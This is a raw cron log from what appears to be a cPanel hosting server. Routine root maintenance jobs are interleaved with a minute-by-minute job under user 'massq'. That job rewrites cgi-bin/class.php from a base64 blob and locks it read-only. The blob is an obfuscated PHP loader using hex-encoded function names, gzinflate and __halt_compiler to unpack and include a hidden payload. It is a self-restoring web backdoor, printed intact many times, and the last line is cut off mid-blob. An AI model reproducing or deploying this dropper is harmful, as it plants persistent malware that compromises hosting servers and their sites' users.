Sep  3 05:29:01 server CROND[31474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:30:01 server CROND[31864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:30:01 server CROND[31866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:30:01 server CROND[31867]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:30:01 server CROND[31869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:30:01 server CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  3 05:30:01 server CROND[31872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:30:01 server CROND[31876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:30:01 server CROND[31878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:30:01 server CROND[31874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:31:01 server CROND[352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:31:01 server CROND[353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:31:01 server CROND[354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:32:01 server CROND[764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:32:01 server CROND[765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:32:01 server CROND[766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:33:01 server CROND[1221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:33:01 server CROND[1222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:33:01 server CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:34:02 server CROND[1641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:34:02 server CROND[1642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:34:02 server CROND[1643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:35:01 server CROND[2068]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:35:01 server CROND[2071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:35:01 server CROND[2076]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:35:01 server CROND[2073]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 05:35:01 server CROND[2074]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:35:01 server CROND[2077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:35:01 server CROND[2078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:35:01 server CROND[2075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:35:01 server CROND[2079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:36:01 server CROND[3058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:36:01 server CROND[3059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:36:01 server CROND[3060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:37:01 server CROND[3438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:37:01 server CROND[3439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:37:01 server CROND[3440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:38:01 server CROND[3822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:38:01 server CROND[3823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:38:01 server CROND[3824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:39:01 server CROND[4218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:39:01 server CROND[4220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:39:01 server CROND[4219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:39:01 server CROND[4221]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 05:40:01 server CROND[4611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:40:01 server CROND[4614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:40:01 server CROND[4615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:40:01 server CROND[4613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:40:01 server CROND[4619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:40:01 server CROND[4616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:40:01 server CROND[4617]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:40:01 server CROND[4626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2a